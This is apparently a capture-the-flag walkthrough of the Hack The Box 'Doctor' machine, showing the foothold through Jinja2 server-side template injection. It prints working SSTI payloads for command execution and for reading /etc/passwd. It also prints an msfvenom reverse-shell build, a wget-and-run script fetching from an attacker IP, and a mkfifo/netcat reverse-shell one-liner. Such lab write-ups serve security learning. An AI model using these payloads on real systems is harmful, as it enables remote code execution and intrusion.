3 :80 SSTI

http://doctor.htb
website home page
| info@doctors.htb

# usernames
jade guzman
hannah ford
jammes wilson
elizabeth anderson
admin

$ gobuster dir -u doctor.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt -t 80
===============================================================
/blog.html            (Status: 200) [Size: 19848]
/services.html        (Status: 200) [Size: 19848]
/images               (Status: 301) [Size: 309] [--> http://doctor.htb/images/]
/index.html           (Status: 200) [Size: 19848]
/contact.html         (Status: 200) [Size: 19848]
/about.html           (Status: 200) [Size: 19848]
/css                  (Status: 301) [Size: 306] [--> http://doctor.htb/css/]
/js                   (Status: 301) [Size: 305] [--> http://doctor.htb/js/]
/departments.html     (Status: 200) [Size: 19848]
/fonts                (Status: 301) [Size: 308] [--> http://doctor.htb/fonts/]

# all pages are the same

# the email is doctors.htb
# adding doctors.htb to /etc/hosts also
# index page is redirected to /login now

http://doctors.htb/login?next=%2F
Login Page

http://doctors.htb/register
Register Page
kashz@kashz.com:kashz
# Your account has been created, with a time limit of twenty minutes! 

# logged in
http://doctors.htb/home
| can create new message
| wappalyzer shows python 3.8.2 server

http://doctors.htb/post/new
# can create new posts

http://doctors.htb/home
| view source: <!--archive still under beta testing<a class="nav-item nav-link" href="/archive">Archive</a>-->

view-source:http://doctors.htb/archive

	<?xml version="1.0" encoding="UTF-8" ?>
	<rss version="2.0">
	<channel>
 	<title>Archive</title>
 	<item><title>test</title></item>

			</channel>
			<item><title>XSS</title></item>
			</channel>
			
# seems like it has template injection from creating new notes after logged in

Using https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#methodology

# making new notes and checking /archive to see if its executed

${5*5} => nothing
{{5*5}} => 25
{{5*'5'}} => 55555

# based on methodology, it can be jinja2 or twig

# testing Twig
{{dump(app)}}
{{app.request.server.all|join(',')}}
# both returned /archive as
Something went wrong (500)
We're experiencing some trouble on our end. Please try again in the near future

# testing jinga2
{{config.items()}}
<item><title>dict_items([(&#39;ENV&#39;, &#39;production&#39;), (&#39;DEBUG&#39;, False), (&#39;TESTING&#39;, False), (&#39;PROPAGATE_EXCEPTIONS&#39;, None), (&#39;PRESERVE_CONTEXT_ON_EXCEPTION&#39;, None), (&#39;SECRET_KEY&#39;, &#39;1234&#39;), (&#39;PERMANENT_SESSION_LIFETIME&#39;, datetime.timedelta(days=31)), (&#39;USE_X_SENDFILE&#39;, False), (&#39;SERVER_NAME&#39;, None), (&#39;APPLICATION_ROOT&#39;, &#39;/&#39;), (&#39;SESSION_COOKIE_NAME&#39;, &#39;session&#39;), (&#39;SESSION_COOKIE_DOMAIN&#39;, False), (&#39;SESSION_COOKIE_PATH&#39;, None), (&#39;SESSION_COOKIE_HTTPONLY&#39;, True), (&#39;SESSION_COOKIE_SECURE&#39;, False), (&#39;SESSION_COOKIE_SAMESITE&#39;, None), (&#39;SESSION_REFRESH_EACH_REQUEST&#39;, True), (&#39;MAX_CONTENT_LENGTH&#39;, None), (&#39;SEND_FILE_MAX_AGE_DEFAULT&#39;, datetime.timedelta(seconds=43200)), (&#39;TRAP_BAD_REQUEST_ERRORS&#39;, None), (&#39;TRAP_HTTP_EXCEPTIONS&#39;, False), (&#39;EXPLAIN_TEMPLATE_LOADING&#39;, False), (&#39;PREFERRED_URL_SCHEME&#39;, &#39;http&#39;), (&#39;JSON_AS_ASCII&#39;, True), (&#39;JSON_SORT_KEYS&#39;, True), (&#39;JSONIFY_PRETTYPRINT_REGULAR&#39;, False), (&#39;JSONIFY_MIMETYPE&#39;, &#39;application/json&#39;), (&#39;TEMPLATES_AUTO_RELOAD&#39;, None), (&#39;MAX_COOKIE_SIZE&#39;, 4093), (&#39;MAIL_PASSWORD&#39;, &#39;doctor&#39;), (&#39;MAIL_PORT&#39;, 587), (&#39;MAIL_SERVER&#39;, &#39;&#39;), (&#39;MAIL_USERNAME&#39;, &#39;doctor&#39;), (&#39;MAIL_USE_TLS&#39;, True), (&#39;SQLALCHEMY_DATABASE_URI&#39;, &#39;sqlite://///home/web/blog/flaskblog/site.db&#39;), (&#39;WTF_CSRF_CHECK_DEFAULT&#39;, False), (&#39;SQLALCHEMY_BINDS&#39;, None), (&#39;SQLALCHEMY_NATIVE_UNICODE&#39;, None), (&#39;SQLALCHEMY_ECHO&#39;, False), (&#39;SQLALCHEMY_RECORD_QUERIES&#39;, None), (&#39;SQLALCHEMY_POOL_SIZE&#39;, None), (&#39;SQLALCHEMY_POOL_TIMEOUT&#39;, None), (&#39;SQLALCHEMY_POOL_RECYCLE&#39;, None), (&#39;SQLALCHEMY_MAX_OVERFLOW&#39;, None), (&#39;SQLALCHEMY_COMMIT_ON_TEARDOWN&#39;, False), (&#39;SQLALCHEMY_TRACK_MODIFICATIONS&#39;, None), (&#39;SQLALCHEMY_ENGINE_OPTIONS&#39;, {})])</title></item>

# it is Jinga2
# if we can use this to read file for splunk we can use splunk RCE to get foothold

# cant dump used classes so cannot read file as we need to get __mro__ working

Using https://www.onsecurity.io/blog/server-side-template-injection-with-jinja2/
{{request.application.__globals__.__builtins__.__import__('os').popen('whoami;id;hostname;uname -a').read()}}
<item><title>
web
uid=1001(web) gid=1001(web) groups=1001(web),4(adm)
doctor
Linux doctor 5.4.0-42-generic #46-Ubuntu SMP Fri Jul 10 00:24:02 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
</title></item>

# tried getting reverse shell but cannot get bash to work
{{request.application.__globals__.__builtins__.__import__('os').popen('cat /etc/passwd').read()}}
<item><title>
root:x:0:0:root:/root:/bin/bash
[truncated]
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
web:x:1001:1001:,,,:/home/web:/bin/bash
shaun:x:1002:1002:shaun,,,:/home/shaun:/bin/bash
splunk:x:1003:1003:Splunk Server:/opt/splunkforwarder:/bin/bash

$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.16.5 LPORT=8089 -f elf -o kshell
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of elf file: 194 bytes
Saved as: kshell

# created kashz.sh
#!/bin/bash
wget 10.10.16.5/kshell
chmod +x /home/web/kshell
/home/web/kshell

{{request.application.__globals__.__builtins__.__import__('os').popen('wget 10.10.16.5/kashz.sh').read()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('chmod +x /home/web/kashz.sh; /home/web/kashz.sh').read()}}

$ nc -lvnp 8089
listening on [any] 8089 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.209] 39356
whoami;id;hostname
web
uid=1001(web) gid=1001(web) groups=1001(web),4(adm)
doctor

[OR]
{{request.application.__globals__.__builtins__.__import__('os').popen('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.16.5 6969 >/tmp/f').read()}}

Alternate route (finding subprocess.pOpen())

Using https://pequalsnp-team.github.io/cheatsheet/flask-jinja2-ssti
and https://medium.com/@nyomanpradipta120/ssti-in-flask-jinja2-20b068fdaeee
# mro = Method Resolution Order, allows to go up the inherited objects chain
# subclasses = going down the inheritance chain

{{ ''.__class__ }} => (class 'str')
{{ ''.__class__.__mro__ }} => (class 'str', class 'object')
# we need index of object for subclasses
{{ ''.__class__.__mro__[1].__subclasses__() }} => list of all subclasses

# need to find subprocess.pOpen, use python sublist method to find it
{{ ''.__class__.__mro__[1].__subclasses__()[407] }} => <class 'subprocess.pOpen'>

# with pOpen we can launch system commands
{{ ''.__class__.__mro__[1].__subclasses__()[407]('whoami', shell=True, stdout=-1).communicate() }}

Last updated